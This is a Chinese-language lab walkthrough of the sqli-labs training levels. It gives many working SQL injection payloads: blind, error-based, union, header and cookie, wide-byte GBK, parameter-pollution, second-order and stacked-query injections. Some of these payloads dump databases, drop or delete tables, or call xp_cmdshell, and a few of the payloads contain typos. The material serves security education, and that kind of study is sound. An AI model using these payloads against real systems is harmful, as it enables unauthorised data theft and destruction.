技巧:注意这里,假如不知道存在的账号,也可以构造or语句。
passwd=1&uname=1admin") or if(ascii(substr(database(),1,1))=114,1,sleep(5))--+
这里账号为1admin,再借用or语句得1或延时注入,均可得到登录成功、数据库名第一位为115s、立即响应或休眠5秒的结果。
ps:优先级 and > or
在对数据进行处理上,我们常用的是增删查改。查就是上述总用到的select,接下来讲解mysql的增删改。
官方文档 help insert 得到:
INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE]
[INTO] tbl_name
[PARTITION (partition_name,...)]
[(col_name,...)]
{VALUES | VALUE} ({expr | DEFAULT},...),(...),...
[ ON DUPLICATE KEY UPDATE
col_name=expr
[, col_name=expr] ... ]
...简单举例:
insert into users values('16','1camry','1camry')
- 删除数据:
detele from 表名;
delete from 表名 where id=1; - 删除结构:
删数据库:drop database 数据库名;
删除表:drop 表名;
删除表中的列:alter table 表名 drop column 列名;
简单举例:
delete from users where id=16;
- 修改所有:update 表名 set 列名='新的值,非数值加单引号';
- 带条件的修改:update 表名 set 列名='新的值,非数字加单引号' where id=6;
首先猜测构造payload注入点,测试得知在password中作故事,当在passwd后加单引号得到前端报错提示。
这里就可以展开报错型注入了,如:uname=admin4&passwd=admin4' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
这里就可以将@@version换成你的子句就可以进行其他注入了。
当然了,也可以说用延时中注入,如:uname=admin4&passwd=11'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
这里其他方式就不在进行演示了,可以自行思考哦。但是需要注意的是,原后端的sql语句是: $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; ,在进行报错型注入的时候注意不一定能使用相关的select。
从源码中,先是select了语句,但是该sql有checkkk_input()函数。
function check_input($value){
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}这里我们介绍几个函数你就明白了。
addslashes()函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的GET、POST 和COOKIE 数据自动运行addslashes()。所以您不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc() 进行检测。
语法:addslashes(string)
| 参数 | 描述 |
|---|---|
| string | 必需。规定要转义的字符串。 |
| 返回值 | 返回已转义的字符串。 |
| php版本 | 4+ |
函数删除由addslashes()函数添加的反斜杠。
函数转义sql语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回false。
语法:mysql_real_escape_string(string, connection)
| 参数 | 描述 |
|---|---|
| string | 必需。规定要转义的字符串。 |
| connection | 规定mysql链接。如果未规定,则使用上一个连接。 |
说明:本函数将string中的页数字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query()。
在Less-17的check_input()中,对username进行各种转义的处理,所以此处不能使用username进行注入。
- Accept:告诉WEB服务器自己接受什么介质类型, */* 表示任何类型,type/*表示该类型下所有子类型,type/sub-type。
- Accept-Charset:浏览器申明目己接收的字符集
Accept-Encoding:浏览器申明目己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate)
Accept-Language:浏览器甲明目已按收的语言
语言跟字符集的区别:中文是语言,中文有多种字符集,比如big5,gb2312,gbk等等。 - Accept-Ranges: WEB服务器表明自己是否接受获取其某个实体的一部分(比如文件的一部分)的请求。bytes:表示接受,none:表示不接受。
- Age:当代理服务器用目己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间了。
- Authorization:当客户端接收到来自WEB服务器的wwW-Authenticate响应时,用该头部来回应自己的身份验证信息给WEB服务器。
- Cache-Control:
请求:
no-cache(不要缓存的实体,要求现在从WEB服务器去取)
max-age:(只接受Age值小于max-age值,并且没有过期的对象)
max-stale:(可以接受过去的对象,但是过期时间必须小于max-stale值)
min-fresh:(接受其新鲜生命期大于其当前Age跟min-fresh值之和的缓存对象)
响应:
public(可以用Cached内容回应任何用户)
private(只能用缓存内容回应先前请求该内容的那个用户)
no-cache(可以缓存,但是只有在跟WEB服务器验证了其有效后,才能返回给客户端)
max-age:(本响应包含的对象的过期时间)
ALL:no-store(不允许缓存) - Connection:
请求:
close(告许WEB服务器或者代理服务器,在完成本次请求的啊应后,断开连接,不要等待本次连接的后续请求了)。
keepalive(告诉WEB服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。
响应:
close(连接已经关闭)。
keepalive(连接保持着,在等待本次连接的后续请求)。
Keep-Alive:如果浏览器请求保持连接,则该头部表明希望WEB服务器保持连接多长时间(秒)。例如:Keep-Alive:300 - ontent-Encoding:WEB服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应中的对象。例如:Content-Encoding:gzip
- Content-Language:WEB服务器告诉浏览器自己响应的对象的语言。
- Content-Length: WEB服务器告诉浏览器自己响应的对象的长度。例如:Content-Length: 26012
- Content-Range: WEB服务器表明该响应包含的部分对象为整个对象的哪个部分。例如:Content-Range: bytes 21010-47021/47022
- Content-Type: WEB服务器告诉浏览器自己响应的对象的类型。例如:Content-Type:application/xml
- ETag:就是一个对象(比如URL)的标志值,就一个对象而言,比如一个html 文件,如果被修改了,其Etag 也会别修改,所以ETag 的作用跟Last-Modified 的作用差不多,主要供WEB服务器判断一个对象是否改变了。比如前一次请求某个html 文件时,获得了其ETag,当这次又请求这个文件时,浏览器就会把先前获得的ETag 值发送给WEB 服务器,然后WEB 服务器会把这个ETag 跟该文件的当前ETag 进行对比,然后就知道这个文件有没有改变了。
- Expired:WEB 服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟 WEB 服务器验证了其有效性后,才能用来响应客户请求。是HTTP/1.0 的头部。例如:Expires:Sat, 23 May 2009 10:02:12 GMT
- Host:客户端指定自己想访问的WEB 服务器的域名/IP 地址和端口号。例如:Host:rss.sina.com.cn
- If-Match:如果对象的ETag 没有改变,其实也就意味著对象没有改变,才执行请求的动作。
- If-None-Match:如果对象的ETag 改变了,其实也就意味著对象也改变了,才执行请求的动作。
- If-Modified-Since:如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作( 比如返回对象), 否则返回代码304 ,告诉浏览器该对象没有修改。例如:If-Modified-Since:Thu, 10 Apr 2008 09:14:42 GMT
- If-Unmodified-Since:如果请求的对象在该头部指定的时间之后没修改过,才执行请求 的动作(比如返回对象)。
- If-Range:浏览器告诉WEB 服务器,如果我请求的对象没有改变,就把我缺少的部分给我,如果对象改变了,就把整个对象给我。浏览器通过发送请求对象的ETag 或者自己所知道的最后修改时间给WEB 服务器,让其判断对象是否改变了。总是跟Range 头部一起使用。
- Last-Modified:WEB 服务器认为对象的最后修改时间,比如文件的最后修改时间,动态页面的最后产生时间等等。例如:Last-Modified:Tue, 06 May 2008 02:42:43 GMT
- Location:WEB 服务器告诉浏览器,试图访问的对象已经被移到别的位置了,到该头部指定的位置去取。例如: Location : http://i0.sinaimg.cn/dy/deco/2008/0528/sinahome_0803_ws_005_text_0.gif
- Pramga:主要使用Pramga: no-cache,相当于Cache-Control: no-cache。例如:Pragma:no-cache
- Proxy-Authenticate: 代理服务器响应浏览器,要求其提供代理身份验证信息。
Proxy-Authorization:浏览器响应代理服务器的身份验证请求,提供自己的身份信息。 - Range:浏览器(比如Flashget 多线程下载时)告诉WEB 服务器自己想取对象的哪部分。例如:Range: bytes=1173546-
- Referer:浏览器向WEB 服务器表明自己是从哪个网页/URL 获得/点击当前请求中的网址/URL。例如:Referer:http://www.sina.com/
- Server: WEB 服务器表明自己是什么软件及版本等信息。例如:Server:Apache/2.0.61 (Unix)
- User-Agent: 浏览器表明自己的身份(是哪种浏览器)。例如:User-Agent:Mozilla/5.0(Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2、0、0、14
- Transfer-Encoding: WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked)。例如:Transfer-Encoding: chunked
- Vary: WEB 服务器用该头部的内容告诉Cache 服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源WEB 服务器在接到第一个请求消息时,其响应消息的头部为:Content- Encoding: gzip; Vary: Content-Encoding 那么Cache 服务器会分析后续请求消息的头部,检查其Accept-Encoding,是否跟先前响应的Vary 头部值一致,即是否使用相同的内容编码方法,这样就可以防止Cache 服务器用自己Cache 里面压缩后的实体响应给不具备解压能力的浏览器。例如:Vary:Accept-Encoding
- Via: 列出从客户端到OCS 或者相反方向的响应经过了哪些代理服务器,他们用什么协议(和版本)发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添加Via 头部,并填上自己的相关信息,当下一个代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的Via 头部,并把自己的相关信息加到后面,以此类推,当OCS 收到最后一个代理服务器的请求时,检查Via 头部,就知道该请求所经过的路由。例如:Via:1.0 236.D0707195.sina.com.cn:80(squid/2.6.STABLE13)
推荐使用工具:live http headers(插件)
本关我们这里从源代码直接了解到
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
对uanem和passwd进行了check_input()的处理,所以我们在这里的输入进行注入是不行的,但是在代码中,我们看到了insert()
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
将useragent和ip插入到数据库中,那么我们可以从这里入手。注意判断逻辑,这里需要输入正确的账号密码才能执行insert语句。
那么我们在hackbar中添加头部信息,将user-agent修改为
' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
得到:
Your IP ADDRESS is: 127.0.0.1
Your User Agent is: ' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
XPATH syntax error: '~5.6.17~'
这里可以看到我们已经得到前端显示的版本号了,注入成功,其余请自行发散思维思考。
从源代码中我们可以看到我们获取到的是HTTP_REFERER,和Less-18是基本一直的,这里对referer进行修改。
将referer修改为:' and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1
得到:
Your IP ADDRESS is: 127.0.0.1
Your Referer is: ' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
XPATH syntax error: '~5.6.17~'
可以从源代码中看到,当登录后的再次刷新时,会从cookie中读取uname,然后再执行sql查询语句。
那么我们可以在登录成功后,修改cookie,再进行刷新时,这时候sql语句会被修改。
在chrome的network中可以得到cookie的值,普通登录后为 uname=admin ,我们将其修改为:
uname=admin1' and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) --+
可以看到,前端提示了mysql的路径,表明注入成功。
注意:登录成功后的刷新不需要post账号密码,服务器会先判断cookie即可登录。
本关卡对cookie进行了base64的处理,其他的处理流畅和Less-20是一样的。
cookie:
uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=
得到:
YOUR USER AGENT IS : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
YOUR IP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM= and expires: Tue 26 Nov 2019 - 10:03:40
Issue with your mysql: XPATH syntax error: '~c:\wamp\bin\mysql\mysql5.6.17\~'
这里我们得到了mysql的路径,其他方法自行思考。
本关卡和Less-20、Less-21是一致的,从源代码中仔细可以看出对value进行了“value”的处理,可以构造payload,在hackbar中添加header:
uname=admin1" and extractvalue(1,concat(0x7e,(sellect database()),0x7e))--+
将uname后的string进行base64 encode提交,前端显示:
YOUR USER AGENT IS : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
YOUR IP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = YWRtaW4xImFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSM= and expires: Tue 26 Nov 2019 - 10:23:49
Issue with your mysql: XPATH syntax error: '~security~'
可以看到数据库名为security了,其他payload请自行发散思维进行构造。
sql语句为 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ,此处主要是在获取Id参数时候进行了 # -- 注释符号的过滤。
Solution:
?id=-1' union select 1,@@datadir,'3
# 此处构造payload后此时的sql语句为:
SELECT * FROM users WHERE id='-1' union select 1,@@datadir,'3' limit 0,1
# 此时前端输出了数据库路径,注入成功
讲解:
- 首先使用id=-1,因为前端只输出一个select的数据,为了注出,一个select要没有结果,然后输出我们注出的数据,那就id=-1或者超过数据库数据都行。
- 这里要注意的是单引号的闭合问题:
1' union select 1,@@datadir,'3。 - 此处可以进行报错注入、延时注入,可以利用 or '1'='1 进行闭合,这里不进行示例。
将@@datadir修改为其他内容,以下用联合注入方法进行。
- 获取数据库
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3这里获取到所有的数据库名,从database()可以知道当前数据库为security。
- 查看数据表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3此时会得到所有表名:emails,referers,uagents,users
- 查看表所有列
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'3此时会得到该表的所有列:id,username,password
- 获取内容
?id=-1' union select 1,(select group_concat(username) from security.users limit 0,1),'3这里会获得username列的所有内容:Dumb,Angelina,Dummy,secure,stupid...
本关为二次排序注入的示范例。二次排序注入也成为存储型的注入,就是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql 注入。
二次排序注入思路:
- 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL 语句或者命令。
- 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
- 黑客向服务端发送第二个与第一次不相同的请求数据信息。
- 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL 语句或者命令在服务端环境中执行。
- 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
EG: 此例子中我们的步骤是注册一个admin’#的账号,接下来登录该帐号后进行修改密码,注入修改的就是admin 的密码。
步骤演示:
- users初始数据库为:
| 账号 | 密码 |
|---|---|
| admin | 0 |
2.注册账号,注册账号页面填写账号:admin'# ,注册后数据库为:
| 账号 | 密码 |
|---|---|
| admin | 0 |
| admin'# | 123 |
- 登录admin'#,进入修改页面,修改密码为1,前端返回修改成功,此时数据库为:
| 账号 | 密码 |
|---|---|
| admin | 1 |
| admin'# | 123 |
结论:可见,二次排序注入成功。
** 思考——从源代码中思考为什么能注入成功? **
首先在注册页面,在注册页面里有 $username= mysql_escape_string($_POST['username']) ; 该语句存在,表示对username进行转义。
# 那么执行注册的真实查重sql语句是这样的:
select count(*) from users where username='admin\'#'
然后,在修改页面中有 $username= $_SESSION["username"]; 该语句存在,表示username从Session获得,前端页面输入的密码均会进行 mysql_real_escape_string() 函数转义特殊字符。
# 因此,这里获得后执行的真实语句是这样的:
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#' and password='$curr_pass' ";
该语句引号闭合、注释都是完美的,所以能够注入成功。
本关卡主要为 or and 过滤。一般性提供一下几种思路:
- 大小写变形 Or OR oR
- 编码,hex urlencode
- 添加注释 /* or */
- 利用符号 and=&& or=||
本关卡示例报错payload:
?id=1' || extractvalue(1,concat(0x7e,database()))--+
不同于Less-25关的是sql语句没有的id进行 ' ' 处理,同时没有输出错误项,因此报错注入不能用。
其余基本上和Less-25示例没有差别,此处采用两种方式:延时注入和联合注入。
# 示范联合注入:
?id=-1 union select 1,@@basedir,3--+
# 示范or=||,这里输入limit的第一条记录
?id=2000 || 1=1 --+
# 省略延时注入
TIPS: 本关卡在wamp下可能会存在apache解析问题,在linux则是正常。
本关卡结合Less-25,将 空格,or,and,/*,#,--,/ 等各种符号过滤。
对于 and,or 的方法同上。
对于注释和结尾符此处我们只能构造闭合引号。
对于空格:
- %09 TAB键(水平)
- %0a 新建一行
- %0c 新的一页
- %0d return功能
- %0b TAB键(垂直)
- %a0 空格
首先给出一个简单的payload:
?id=2000'%0a||%0a'1'='1 => ?id=2000' or '1'='1'
?id=2000'%0a||'1 => ?id=2000' or '1'
这个理解应该不难。其他构造payload在不改变原sql基础上可以利用报错注入或延时注入等继续深层研究。
本关卡与Less-26的区别在于sql语句的处理上,这里的处理是 id=('$id') 。因为前端不输出sql错误,所以排除报错注入。
这里示范使用union注入(注意此示范在wamp部署上是解析失败的)构造payload:
id=2000')union%a0select%0a1,user(),('3
# 等价于
$sql = select * from users where id=('2000') union select 1,user(),('3') limit 0,1;
本关卡主要考察 union,select 和Less-26过滤的字符。
此处我们利用空格替换和大小写混合突破,示例payload:
?id=2000'unIon%a0SelEcT%a01,database(),3||'1
# 注意后面的3||'1'会判断输出布尔值1
本关卡与Less-27的区别在于对id处理,这里是 "id" ,同时mysql报错不会回显,示例payload:
?id=2000"%a0UnIonSElecT%a0,1,user(),"3
本关卡与Less-27没有太大的差距,直接给出payload:
?id=2000')%a0unionselect(1),(user()),(3)||('1
# select(1),2,3; # 注意:没有空格也可以输出成功的。
本关卡与Less-28基本一致,只是过滤条件少了几个。直接给出payload:
?id=2000%27)union%0bsElect%0b1,@@basedir,3|(%271
第Less-29~32关卡需要java+tomcat环境,把tomcat-files.zip 解压到tomcat 服务器webapp/ROOT 目录,完成环境搭建,访问如: http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp
服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供Web服务的是php服务器。工作流程是这样的:client访问服务器,能直接访问到tomcat服务器,然后Tomcat服务器再向Apache服务器请求数据。数据返回路径则相反。
思考重点:index.php?id=1&id=2,这时候显示id=1还是2?
Explain:Apache(php)解析最后一个参数即2,Tomcat(jsp)解析第一个参数即1。
| web服务器 | 参数获取函数 | 获取到的参数 |
|---|---|---|
| PHP/Apache | $_GET("par") | Last |
| JSP/Tomcat | Request.getParameter("par") | First |
| Perl(CGI)/Apache | Param("par") | First |
| Python/Apache | getvalue("par") | All(List) |
| ASP/IIS | Request.QueryString("par") | All(comma-delimited string 逗号-分界) |
此处我们想一个问题:index.jsp?id=1&id=2 请求,针对第一张图中的服务器配置情况, 客户端请求首先过tomcat,tomcat 解析第一个参数,接下来tomcat 去请求apache(php) 服务器,apache 解析最后一个参数。那最终返回客户端的应该是哪个参数?
Answer:此处应该是id=2 的内容,应为时间上提供服务的是apache(php)服务器, 返回的数据也应该是apache 处理的数据。而在我们实际应用中,也是有两层服务器的情况, 那为什么要这么做?是因为我们往往在tomcat 服务器处做数据过滤和处理,功能类似为一 个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF 的检测。该用法就 是HPP(HTTP Parameter Pollution),http 参数污染攻击的一个应用。HPP 可对服务器和客 户端都能够造成一定的威胁。
首先这里我们查看jsp源码,它会对第一个参数id进行正则匹配 ^\\d+$ ,匹配通过后请求Apache(php)服务器。
根据HPP原理,我们可以构造payload:
?id=1&id=-1' union seslect 1,user(),3--+
在这里,我们要先绕过Tomcat的jsp代码先,因此需第一个id是正常值,&后面的id值才是我们的注入。
原理和Less-29是一直的,只是在sql处理上是双引号。因此此处也可以直接丢出payload:
?id=1&id=-1"union%20select%201,user(),3--+
原理和上述两个例子是一样的,只是sql处理上是双引号加括号的处理。因此此处也可以直接丢出payload:
?id=1&id=-1%22)union%20select%201,user(),3--+
%22是双引号,%20是空格。
总结:从以上三关中,我们主要学习到的是不同服务器对于参数的不同处理,HPP 的应用有很多,不仅仅是我们上述列出过WAF一个方面,还有可以执行重复操作,可以执行非法操作等。同时针对WAF的绕过,我们这里也仅仅是抛砖引玉,后续的很多的有关HPP 的方法需要共同去研究。这也是一个新的方向。
Less-32~37的六个关卡全部是都是针对 ' 和 \ 的过滤,所以我们放在一起进行讨论。
原理::mysql 在使用GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个ascii 码大于128 才能到汉字的范围)。我们在过滤’ 的时候,往往利用的思路是将 ' 转换为 ' 。
因此我们在此想办法将 ' 前面添加的 \ 除掉,一般有两种思路:
- 利用 %df 吃掉 \ 。具体的原因是 urlencode('')=%5c%27 ,我们在%5c%27前面添加 %df ,形成 %df%5c%27,从上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此时 %df%5c 就是一个汉字, %27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
- 将 ' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的 %5c 会被前面的 %5c 给注释掉。这也是bypass 绕过的一种方法。
因为 urlencode('\')=%5c%27 ,那么这里我们就利用 %df%5c%27 吃掉用来转义的 \ ,我们可以构造payload:
?id=-1%%df%27union%20select%201,user(),3--+
前端显示了 root@localhost 。可以看到,我们绕过了 ' 的过滤。
本关和Less-32的payload是一样的:
?id=-1%%df%27union%20select%201,user(),3--+
从源码中可以看到:
function check_addslashes($string){
$string= addslashes($string);
return $string;
}
此处过滤使用函数 addalashes() ,函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号 ( ' )
- 双引号 ( " )
- 反斜杠 ( \ )
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。 Addslashes()函数和我们在Less-32关实现的功能基本一致的,所以我们依旧可以利用 %df 进行绕过。
Notice:使用addslashes(),我们需要将 mysql_query 设置为binary的方式,才能防御此漏洞。
Mysql_query(“SETcharacter_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);
本关卡为post型注入,同样的也是将post过来的内容进行 ' 和 \ 的处理。
上面的例子是利用get请求将urlencode后的 \ 吃到。在Post请求中,此处介绍一个新方法:将utf-8转换为 utf-16 或 utf-32,例如将 ' 转为utf-16的 �' 。
个人理解:这里的�是有由类似%%%的东西组成的,然后再加上 ' (即%27),然后相当于urlencode后类似 %EF%BF%%BD%27 的东西,然后是宽字符漏铜,%EF%BF会组成一个中文字符,而%BD%27也会被当成中文字符,然后php不会进行转义。然后语句流到mysql的时候,Mysql会将三个%转为一个中文字符,然后剩下%27作为引号,以此进行注入。
万能的payload:
username: �' or 1=1#
password: 随便乱填
这里是登录成功的,此时的sql语句是:
SELECT username, password FROM users WHERE username='�' or 1=1#' and password='$passwd' LIMIT 0,1
本关卡和Less-33是一样的,唯一的区别是sql语句不同,本关没有 ' " 符号的处理,那么我们就没有必要考虑check_addslashes()函数的意义了,直接给payload:
?id=-1%20union%20select%201,user(),3--+
我们直接看源代码:
function check_quotes($string){
$string= mysql_real_escape_string($string);
return $string;
}
上面的check_quotes()函数利用了mysql_real_escape_string()函数进行的过滤。
mysql_real_escape_string()函数转义sql语句中使用的特殊字符:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功,则函数返回被转义的字符串。如果失败,则返回false。
但是因为Mysql我们并没有设置成gbk,所以mysql_real_escape_string()依旧能够被突破,方法和以前一样,给出payload:
?id=-1%EF%BF%BD%27union%20select%201,user(),3--+
个人理解:3个%再加上%27,是以转 utf-16 漏洞绕过。
我们也可以用%df进行绕过,payload:
?id=-1%df%27union%20select%201,user(),3--+
Notice:在使用mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将mysql 设置为gbk 即可。
# 设置代码:
Mysql_set_charset(‘gbk’,’$conn’)
本关卡和Less-34是大致相似的,区别在于post内容使用的是mysql_real_escape_string(),而不是addslashes()函数,但是原理是一致的。
提交内容如下:
username: �' or 1=1#
password: 随便乱填
Summary:
从上面的几关当中,可以总结一下过滤‘ \ 常用的三种方式是直接replace,addslashes(),mysql_real_escape_string()。三种方式仅仅依靠一个函数是不能完全防御的,所以我们在编写代码的时候需要考虑的更加仔细。同时在上述过程中,我们也给出三种防御的方式,相信仔细看完已经明白了,这里就不赘述了。
Stacked injections: 堆叠注入。从名词的含义就可以看到应该是一堆sql 语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
在SQL 中,分号(;)是用来表示一条sql 语句的结束。堆叠注入是指构造利用 ; 后继续执行新命令的注入方式。
union injection(联合注入)也是将两条语句合并在一起,但是union或者union all的语句类型通常只是查询而已。
EG示例 :
# 用户注入: id=1;DELETE FROM products
# 服务器未过滤,执行sql为:
select * from products where id=1;DELETE FROM products
堆叠注入并不是可以在每个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当前还有权限不足。
虽然堆叠注入可以执行任意命令,但是在web系统中,通常指返回一个查询结果,因此第二个语句可能会产生错误或者结果被忽略,在前端界面是无法看到返回结果的。
在堆叠注入前,我们也需要知道数据库相关信息,如表名、列名。
- mysql数据库
# 新增表成功:
select * from users where id=1;create table test like users; # 可以使用like关键字
# 删除表成功:
select * from users where id=1;drop table test;
# 查询数据成功:
select * from users where id=1;select 1,2,3; # 会查询出两个select结果
# 加载文件成功:
select * from users where id=1;select load_file('c:/tmpupbbn.php');
# 修改数据成功:
select * from users where id=1;insert into users(id,username,password) values('100','new','new');- sql server数据库
# 新增数据表:
select * from test;create table sc3(ss CHAR(8));
# 删除数据表:
select * from test;drop table sc3;
# 查询数据:
select 1,2,3;select * from test;
# 修改数据:
select * from test;update test set name='test' where id=3;
# sqlserver中最为重要的存储过程:
select * from test where id=1;exec master..xp_cmdshell 'ipconfig' # 可注意:EXEC master.dbo.xp_cmdshell- oracle数据库
# oracle不支持堆叠注入,会直接报错无效字符- postgresql数据库
# 新增数据表成功:
select * from user_test;create table user_data(id DATE);
# 删除数据表成功:
select * from user_test;delete from user_data;
# 查询数据成功:
select * from user_test;select 1,2,3;
# 修改数据成功:
select * from user_test;update user_test set name='modify' where name='张三';注意:我们应当先尝试正常输入输出,再使用 Hackbar 的 load url ,防止 excute 错地址,这里我们要注入的地址是 login.php 而不是index.php 。
学习了 stacked injection 的相关知识,我们在本关得到直接的运用。给出简单的插入payload:
?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27Less38%27,%27hello%27)--+
同样前端正常返回,且注入成功。
本关卡和Less-38的区别在sql语句的不同,本关卡没有对id进行 ' id ' 的处理,即本关卡是数字型注入,同样构造简单的插入payload:
?id=1;insert%20into%20users(id,username,password)%20values%20(%2739%27,%27Less39%27,%27hello%27)--+
同样前端正常返回,且注入成功。
本关卡sql语句也基本一致,在处理上是进行了 ( ' id ' ) 的处理,给出payload:
?id=1%27);%20insert%20into%20users(id,username,password)%20values(%2740%27,%27Less40%27,%27hello%27)%23
同样前端正常返回,且注入成功。
本关卡和Less-39是一致的,区别是在于本关卡错误不回显,因此是盲注。但是payload还是可以共用:
?id=1;insert%20into%20users(id,username,password)%20values(%2741%27,%27Less41%27,%27hello%27)%23
同样前端正常返回,且注入成功。
查看源码:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
在此处 username 是经过 mysql_real_escape_string() 处理后的数据,存入到数据库不发生变化,因此这里和二次注入思路是不一样的。
由源码可知,password 变量在 post 过程中没有进行处理,所以我们可以在这里进行 attack 。
username: 随意
password: login_password=1';create table me like users--+&login_user=1 # 这里创建表成功
password: login_password=1';drop table me--+&login_user=1 # 这里删除表成功
同样前端正常返回,且注入成功。
本关卡与Less-42关原理基本一致,区别处理为: ( ' password ') 。这里只给出示例payload:
login_password=1');create%20table%20less43%20like%20users--+&login_user=1
同样前端正常返回,且注入成功。
本关卡和Less-42是一致的,区别是在于本关卡错误不回显,因此是盲注。但是payload还是可以共用的:
login_password=1';insert%20into%20users(id,username,password)%20values(%2744%27,%27Less44%27,%27hello%27)--+&login_user=1
同样前端正常返回,且注入成功。
注意:--+ 一定不能少,因为这里是sql注入,php后端还会有sql的后续语句,需要 --+/#/%23 的注释来完成构造。
本关卡和Less-42是一致的,区别是在于本关卡错误不回显,因此是盲注。但是payload还是可以共用的:
login_password=1');insert%20into%20users(id,username,password)%20values(%2745%27,%27Less45%27,%27hello%27)--+&login_user=1
同样前端正常返回,且注入成功。
此处应介绍 order by 后的注入以及 limit 注入,我们结合 Less-46 更容易讲解,(会在 Less46 中详细讲解),所以此处可根据 Less-46 了解即可。
从本关卡开始,我们开始学习 order by 相关注入的知识。
本关的 sql 语句为:
$sql = " select * from users order by $id "
首先我们先尝试一下常规输入后,前端的显示。从输入的参数我们可以猜出这是 order 方式的前端显示,常规输入为 列名、列位、带 asc/desc 。
当尝试 desc/asc 显示的结果不同,则表明可以注入。
从上述的 sql 语句可以看出,我们的注入点在 order by 后面的参数中,而 order by 不同于 where 后的注入点,不能使用 union 等注入。
首先我们来看看 mysql 的 select 官方文档。
mysql> help select;
Name: 'SELECT'
Description:
Syntax:
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
